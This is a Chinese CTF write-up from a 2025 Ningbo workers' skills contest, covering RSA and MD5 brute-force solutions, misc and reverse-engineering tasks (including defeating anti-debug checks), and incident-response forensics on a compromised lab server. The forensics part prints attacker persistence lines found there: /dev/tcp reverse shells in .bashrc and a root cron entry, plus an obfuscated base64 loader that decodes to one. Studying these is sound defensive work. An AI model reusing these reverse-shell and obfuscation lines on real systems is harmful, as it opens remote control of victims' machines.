202507_宁波职工技能大赛_WP
00赛题附件
附件路径:https://pan.baidu.com/s/1GyH7kitkMYywGC9YJeQLJA?pwd=Zmxh#list/path=/CTF附件
附件名称:202507_宁波职工技能大赛.zip
01CTF
01.1 Crypto1
题目:task.py
from libnum import *
flag = input("input your flag:\n").strip()
a = s2n(flag)
b = 65537
c = 42287250566650625910927609427720542059550941959853574847230256241169568572973
ans = 1
while b != 0:
if b & 1:
ans = (ans * a) % c
b >>= 1
a = (a *a)%c
if ans == 32129736256421091896412728347100848469598488915370859537286780961129326618817:
print('correct')
else:
print('error')
分析python脚本,发现while代码段为快速幂算法计算 a^b mod c(即RSA加密过程),即可以尝试常规RSA解密
用离线质因数分解工具yafu得到pq

构造exp.py
import binascii
from Crypto.Util.number import *
# 已知参数
c = 42287250566650625910927609427720542059550941959853574847230256241169568572973
ans = 32129736256421091896412728347100848469598488915370859537286780961129326618817
e = 65537
p = 180442721291978431414366982018361037411
q = 234352764488763574662997107091943031343
phi_n=(p-1)*(q-1)
d = inverse(e, phi_n)
m = pow(ans, d, c)
print("DEC:", m)
mi = long_to_bytes(m)
print("STRIING:",mi)
message = binascii.hexlify(mi)
print("HEX:",message)
# flag{what_A_power}
得到flag为flag{what_A_power}
01.2 Crypto2
题目.txt
109 115 104 110 123 108 53 55 105 57 108 49 56 105 48 56 105 109 109 48 107 48 53 104 51 106 53 57 57 48 48 105 49 48 63 63 63 125 116 107 53 58 55 52 50 108 104 56 49 53 50 109 109 49 49 105 49 109 54 109 57 51 49 52 106 51 106 52 108 109 109 57 51 108
利用工具将ASCII转为字符串得到mshn{l57i9l18i08imm0k05h3j59900i10???}tk5:742lh8152mm11i1m6m9314j3j4lmm93l

通过凯撒爆破得到部分flag和对应md5:flag{e57b9e18b08bff0d05a3c59900b10???}md5:742ea8152ff11b1f6f9314c3c4eff93e

利用脚本进行md5碰撞,得到flag
# Python2
flag='flag{e57b9e18b08bff0d05a3c59900b10'
import hashlib
for i in range(32,127):
for j in range(32,127):
for k in range(32,127):
m=hashlib.md5()
m.update(flag+chr(i)+chr(j)+chr(k)+'}')
des=m.hexdigest()
if des=='742ea8152ff11b1f6f9314c3c4eff93e':
print flag+chr(i)+chr(j)+chr(k)+'}'
print des
# flag{e57b9e18b08bff0d05a3c59900b109a4}
flag为flag{e57b9e18b08bff0d05a3c59900b109a4}
01.3 Crypto4
n= 703739435902178622788120837062252491867056043804038443493374414926110815100242619
e= 59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377
m=???
首先判断e是否为素数
import gmpy2
e=59159
print(gmpy2.is_prime(e))
# True
参考Crypto1进行质因数分解,得到pqr

通过脚本进行三因数的RSA解密
import binascii
from Crypto.Util.number import *
n= 703739435902178622788120837062252491867056043804038443493374414926110815100242619
e= 59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377
p = 782758164865345954251810941
q = 810971978554706690040814093
r = 1108609086364627583447802163
phi_n=(p-1)*(q-1)*(r-1)
d = inverse(e, phi_n)
m = pow(c, d, n)
print("DEC:", m)
mi = long_to_bytes(m)
print("STRIING:",mi)
message = binascii.hexlify(mi)
print("HEX:",message)
'''
DEC: 706900059474687415234977372280974474387136281736704352050012391399307133
STRIING: b'flag{1e257b39a25c6a7c4d66e197}'
HEX: b'666c61677b3165323537623339613235633661376334643636653139377d'
'''
得到flag为flag{1e257b39a25c6a7c4d66e197}
01.4 misc0
secret.jpg
查看文件内容直接得到flag
D:\=CTF缓存=\=20250731=\=OK\misc0>type secret.jpg
flag{666b582e4bdbe861f6cbc182e8154c4b}
01.5 misc2
1.pcapng
经过半个小时对GET/POST/HTTP及明文内容请求筛查未发现有效信息
尝试导出http文件,发现压缩包内容

打开压缩包得到6个txt文件,其中第一个内容头为PNG文件头

将所有文件复制到同一个文本文件并导入010Editor另存为png后得到一个二维码

将二维码图片拖入离线扫码工具得到flag为flag{3819169573b7a37786d2ea39c6daef76}

01.6 misc3
key.exe
执行未果,用文本文件打开发现为base64编码的图片,利用工具进行转存处理

转存后再次拖入自动化工具发现高度异常并进行了自动修复


拖入OCR工具得到flag为flag{T8AkI67HCF1WObLF}
01.7 re1
1. 拉入IDA查看main函数基本确定是AES加密

2. 找到对应的密文备用
密文信息为:6EB7420F343DA239D7947A03D13CF8833CC5DA88DEB4D6C7D94034B27A3724F34B351531FA85334A2628FEDA2791A816



3. 追踪AES的key发现是动态生成

4. 准备动态调试
断点 F2
伪代码查看 F5
返回上一个函数 ESA
4.1 在key生成完毕的位置和程序异常终止位置打上断点

4.2 子过程anti_debug_ptrace的终止判断逻辑
jnz short loc_55D2291A626B

4.3 子过程anti_debug_proc_status的终止判断逻辑
jz loc_55D2291A6331

4.4 子过程anti_debug_time的循环判断和终止判断逻辑
jle short loc_55D2291A6356
ja short loc_55D2291A63B

5. 程序调试获取key
SAPCE(空格)切换汇编界面和流程图界面,闪烁状态为下一步分支
条件判断,红色为条件为false,绿色条件为true,蓝色为无条件跳转。
4.2断点,查表得知jnz指令核对ZF标志,改成ZF=0后右侧绿线闪烁,说明修改正确,按F9运行至下一断点

4.3断点,查表知jz指令核对ZF标志,改成ZF=1右侧绿线闪烁,说明修改正确,按F9运行至下一断点
4.4断点,查表知jle指令核对SF/OF/ZF标志,改成OF=1下一步分支路径发生改变,说明修改正确,按F9运行至下一断点
jle short loc_55D2291A6356 # SF≠OF 或 ZF=1
ja short loc_55D2291A63B # CF=0 且 ZF=0


完成所有逻辑绕过后按F8逐步调试,随时用F5切换伪代码查看,发现solved_hex_chars已有信息,得到key为b5abd8de72284cdf901b5624fc3811a9

6. AES解密得到flag
flag为flag{9ac9e712070a408cae3ffc3d304457ed}

尝试使用脚本解密同样结果
(python_313) D:\=CTF缓存=\20250731_市职业职工技能初赛\reverse1>python exp.py -m decrypt -k "tavY3nIoTN+QG1Yk/DgRqQ==" -t "brdCDzQ9ojnXlHoD0Tz4gzzF2ojetNbH2UA0sno3JPNLNRUx+oUzSiYo/tonkagW" --mode-type "ECB"
解密结果: flag{9ac9e712070a408cae3ffc3d304457ed}
02应急响应
02.1 应急响应1
这是一台被入侵的服务器,请在上面找到攻击者的攻击痕迹。
flag1:请找到日志内的隐藏内容。格式为 flag1{xxx}。
flag2:请找出恶意用户,并将相关信息整行(不包含行尾换行符)进行 md5 后提交。格式为 flag2{xxx}。
flag3:请找出恶意用户被持久化后门的反连服务器信息,将 IP:Port 进行 md5 后提交。格式为 flag3{xxx}。
flag4:请找出系统中一段时间后运行的反连服务器信息,将 IP:Port 进行 md5 后提交。格式为 flag4{xxx}。
flag5:请找出系统中为恶意用户提升权限的命令,并将相关信息整行(不包含行尾换行符)进行 md5 后提交。格式为 flag5{xxx}。
ssh 101.132.116.48:30222
用户名:ctf,密码:CTF@20250724
flag1:请找到日志内的隐藏内容。格式为 flag1{xxx}。
ctf@c3zbrjyye9q1k-c3zbrk2mwec8g:/var/log$ cat messages.1
Jul 13 10:55:59 debian kernel: [ 0.000000] x86/fpu: Enabled xstate features 0x7, context size is 832 bytes, using 'standard' format.
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-provided physical RAM map:
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009ffff] usable
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x00000000007fffff] usable
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x0000000000800000-0x0000000000807fff] ACPI NVS
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x0000000000808000-0x000000000080ffff] usable
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x0000000000810000-0x00000000008fffff] ACPI NVS
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x0000000000900000-0x000000007f8eefff] usable
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007f8ef000-0x000000007f9eefff] reserved
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007f9ef000-0x000000007faeefff] type 20
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007faef000-0x000000007fb6efff] reserved
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007fb6f000-0x000000007fb7efff] ACPI data
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007fb7f000-0x000000007fbfefff] ACPI NVS
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007fbff000-0x000000007fedffff] usable
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007fee0000-0x000000007fefffff] reserved
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007ff00000-0x000000007fffffff] ACPI NVS
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x00000000b0000000-0x00000000bfffffff] reserved
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x00000000ffe00000-0x00000000ffffffff] reserved
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x0000000100000000-0x000000107fffffff] usable
Jul 13 10:55:59 debian kernel: [ 0.000000] NX (Execute Disable) protection: active
Jul 13 10:55:59 debian kernel: [ 0.000000] efi: EFI v2.70 by EDK II
Jul 13 10:55:59 debian kernel: [ 0.000000] efi: flag1{b950b8134635d27e34604a1d01344234}
Jul 13 10:55:59 debian kernel: [ 0.000000] efi: SMBIOS=0x7f9ac000 ACPI=0x7fb7e000 ACPI 2.0=0x7fb7e014 MEMATTR=0x7e477298 MOKvar=0x7ec6b000
Jul 13 10:55:59 debian kernel: [ 0.000000] secureboot: Secure boot could not be determined (mode 0)
得到flag1为flag1{b950b8134635d27e34604a1d01344234}
flag2:请找出恶意用户,并将相关信息整行(不包含行尾换行符)进行 md5 后提交。格式为 flag2{xxx}。
ctf@c3zbrjyye9q1k-c3zbrk2mwec8g:/home$ ls
ctf debian
ctf@c3zbrjyye9q1k-c3zbrk2mwec8g:/home$ cat /etc/passwd
... ...
debian:x:1010:1010::/home/debian:/bin/bash
将该行信息求md5后得到flag2为flag2{5d1544194f59e9d8528a7e4625040c77}
flag3:请找出恶意用户被持久化后门的反连服务器信息,将 IP:Port 进行 md5 后提交。格式为 flag3{xxx}。
ctf@n2xgfj57re5wb-n2xgfj7zf2eac:/home/debian$ cat .bashrc
... ...
bash -i >& /dev/tcp/202.57.23.14/7233 0>&1
对202.57.23.14:7233求md5得到flag3为flag3{f7f5fd5f2a30fdc23982e3e3637eda9d}
flag4:请找出系统中一段时间后运行的反连服务器信息,将 IP:Port 进行 md5 后提交。格式为 flag4{xxx}。
不经意间切换到了root角色,那么就可以尝试读取计划任务
ctf@c3zbrjyye9q1k-c3zbrk2mwec8g:/var/spool/cron$ sudo su root
root@c3zbrjyye9q1k-c3zbrk2mwec8g:/var/spool/cron/crontabs# cat root
@reboot /bin/bash -i >& /dev/tcp/202.57.23.18/33277 0>&1
root@c3zbrjyye9q1k-c3zbrk2mwec8g:/var/spool/cron/crontabs# pwd
/var/spool/cron/crontabs
对202.57.23.18:33277求md5得到flag4为flag4{38cb409cb9d0699fb8a2dd80bae214bb}
flag5:请找出系统中为恶意用户提升权限的命令,并将相关信息整行(不包含行尾换行符)进行 md5 后提交。格式为 flag5{xxx}。
未完成
02.2 应急响应2
这是一台被入侵的服务器,请在上面找到攻击者的攻击痕迹。
flag1:请找到日志内的隐藏内容。格式为 flag1{xxx}。
flag2:请找出恶意用户,并将相关信息整行(不包含行尾换行符)进行 md5 后提交。格式为 flag2{xxx}。
flag3:请找出恶意用户被持久化后门的反连服务器信息,将 IP:Port 进行 md5 后提交。格式为 flag3{xxx}。
flag4:请找出系统中被植入的反连服务器信息,将 IP:Port 进行 md5 后提交。格式为 flag4{xxx}。
flag5:请找出系统中被隐藏的反连服务器信息,将 IP:Port 进行 md5 后提交。格式为 flag5{xxx}。
ssh 101.132.116.48:31434
用户名:ctf,密码:CTF@20250728
flag1:请找到日志内的隐藏内容。格式为 flag1{xxx}。
同应急响应1
ctf@n2xgfj57re5wb-n2xgfj7zf2eac:/var/log$ cat messages.1
Jul 13 10:55:59 debian kernel: [ 0.000000] x86/fpu: Enabled xstate features 0x7, context size is 832 bytes, using 'standard' format.
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-provided physical RAM map:
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009ffff] usable
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x00000000007fffff] usable
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x0000000000800000-0x0000000000807fff] ACPI NVS
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x0000000000808000-0x000000000080ffff] usable
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x0000000000810000-0x00000000008fffff] ACPI NVS
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x0000000000900000-0x000000007f8eefff] usable
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007f8ef000-0x000000007f9eefff] reserved
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007f9ef000-0x000000007faeefff] type 20
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007faef000-0x000000007fb6efff] reserved
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007fb6f000-0x000000007fb7efff] ACPI data
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007fb7f000-0x000000007fbfefff] ACPI NVS
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007fbff000-0x000000007fedffff] usable
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007fee0000-0x000000007fefffff] reserved
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x000000007ff00000-0x000000007fffffff] ACPI NVS
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x00000000b0000000-0x00000000bfffffff] reserved
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x00000000ffe00000-0x00000000ffffffff] reserved
Jul 13 10:55:59 debian kernel: [ 0.000000] BIOS-e820: [mem 0x0000000100000000-0x000000107fffffff] usable
Jul 13 10:55:59 debian kernel: [ 0.000000] NX (Execute Disable) protection: active
Jul 13 10:55:59 debian kernel: [ 0.000000] efi: EFI v2.70 by EDK II
Jul 13 10:55:59 debian kernel: [ 0.000000] efi: flag1{b950b8134635d27e34604a1d01344234}
Jul 13 10:55:59 debian kernel: [ 0.000000] efi: SMBIOS=0x7f9ac000 ACPI=0x7fb7e000 ACPI 2.0=0x7fb7e014 MEMATTR=0x7e477298 MOKvar=0x7ec6b000
Jul 13 10:55:59 debian kernel: [ 0.000000] secureboot: Secure boot could not be determined (mode 0)
flag2:请找出恶意用户,并将相关信息整行(不包含行尾换行符)进行 md5 后提交。格式为 flag2{xxx}。
同应急响应1
debian:x:1010:1010::/home/debian:/bin/bash
flag3:请找出恶意用户被持久化后门的反连服务器信息,将 IP:Port 进行 md5 后提交。格式为 flag3{xxx}。
同应急响应1
ctf@n2xgfj57re5wb-n2xgfj7zf2eac:/home/debian$ cat .bashrc
z="
";Ez='+JiA';Bz=' YmF';Qz='= | ';Kz='uMjc';Mz='vNzI';Nz='3NyA';Fz='vZGV';Rz='base';Pz='xCg=';Uz='sh -';Cz='zaCA';Hz='jcC8';Az='echo';Sz='64 -';Lz='uMTQ';Dz='taSA';Oz='wPiY';Jz='uNTc';Tz='d | ';Gz='2L3R';Iz='yMDI';Vz='c';
`$Az$Bz$Cz$Dz$Ez$Fz$Gz$Hz$Iz$Jz$Kz$Lz$Mz$Nz$Oz$Pz$Qz$Rz$Sz$Tz$Uz$Vz`;
# echo YmFzaCAtaSA+JiAvZGV2L3RjcC8yMDIuNTcuMjcuMTQvNzI3NyAwPiYxCg== | base64 -d | sh -c
# bash -i >& /dev/tcp/202.57.27.14/7277 0>&1
# 202.57.27.14:7277
flag4:请找出系统中被植入的反连服务器信息,将 IP:Port 进行 md5 后提交。格式为 flag4{xxx}。
未完成
flag5:请找出系统中被隐藏的反连服务器信息,将 IP:Port 进行 md5 后提交。格式为 flag5{xxx}。
未完成
附 补充知识
IDA动态调试配置
-
找到安装目录的
dbgsrv下的远程调试插件
-
将插件拷贝至远程环境,授权后运行
root@kali:~/Desktop# chmod +x linux_server64 root@kali:~/Desktop# ./linux_server64 -P 23946 IDA Linux 64-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017 The switch -P is unsecure. Please store the password in the IDA_DBGSRV_PASSWD environment variable Listening on 0.0.0.0:23946... # 其中-P参数表示远程调用端口,IDA默认是23946 # 调试开始后会有动态提示信息 # 上述信息与IDA应用中后续设置一一对应

条件跳转指令与标志位对照表
| 指令 | 含义 | 比较类型 | 依赖标志位 | 跳转条件 |
|---|---|---|---|---|
je |
等于 | 无/有符号 | ZF |
ZF=1 |
jne |
不等于 | 无/有符号 | ZF |
ZF=0 |
ja |
高于(无符号) | 无符号 | CF, ZF |
CF=0 且 ZF=0 |
jae |
高于或等于(无符号) | 无符号 | CF |
CF=0 |
jb |
低于(无符号) | 无符号 | CF |
CF=1 |
jbe |
低于或等于(无符号) | 无符号 | CF, ZF |
CF=1 或 ZF=1 |
jg |
大于(有符号) | 有符号 | SF, OF, ZF |
SF=OF 且 ZF=0 |
jge |
大于或等于(有符号) | 有符号 | SF, OF |
SF=OF |
jl |
小于(有符号) | 有符号 | SF, OF |
SF≠OF |
jle |
小于或等于(有符号) | 有符号 | SF, OF, ZF |
SF≠OF 或 ZF=1 |
jo |
溢出 | - | OF |
OF=1 |
jno |
无溢出 | - | OF |
OF=0 |
js |
结果为负 | - | SF |
SF=1 |
jns |
结果非负 | - | SF |
SF=0 |
jz |
结果为零 | - | ZF |
ZF=1 |
jnz |
结果非零 | - | ZF |
ZF=0 |
标志寄存器(EFLAGS)说明
| 标志 | 名称 | 触发条件 |
|---|---|---|
ZF |
零标志 | 结果为 0 时置位(ZF=1) |
CF |
进位/借位标志 | 无符号运算溢出/借位时置位(CF=1) |
SF |
符号标志 | 结果为负数时置位(SF=1) |
OF |
溢出标志 | 有符号运算溢出时置位(OF=1) |
浙公网安备 33010602011771号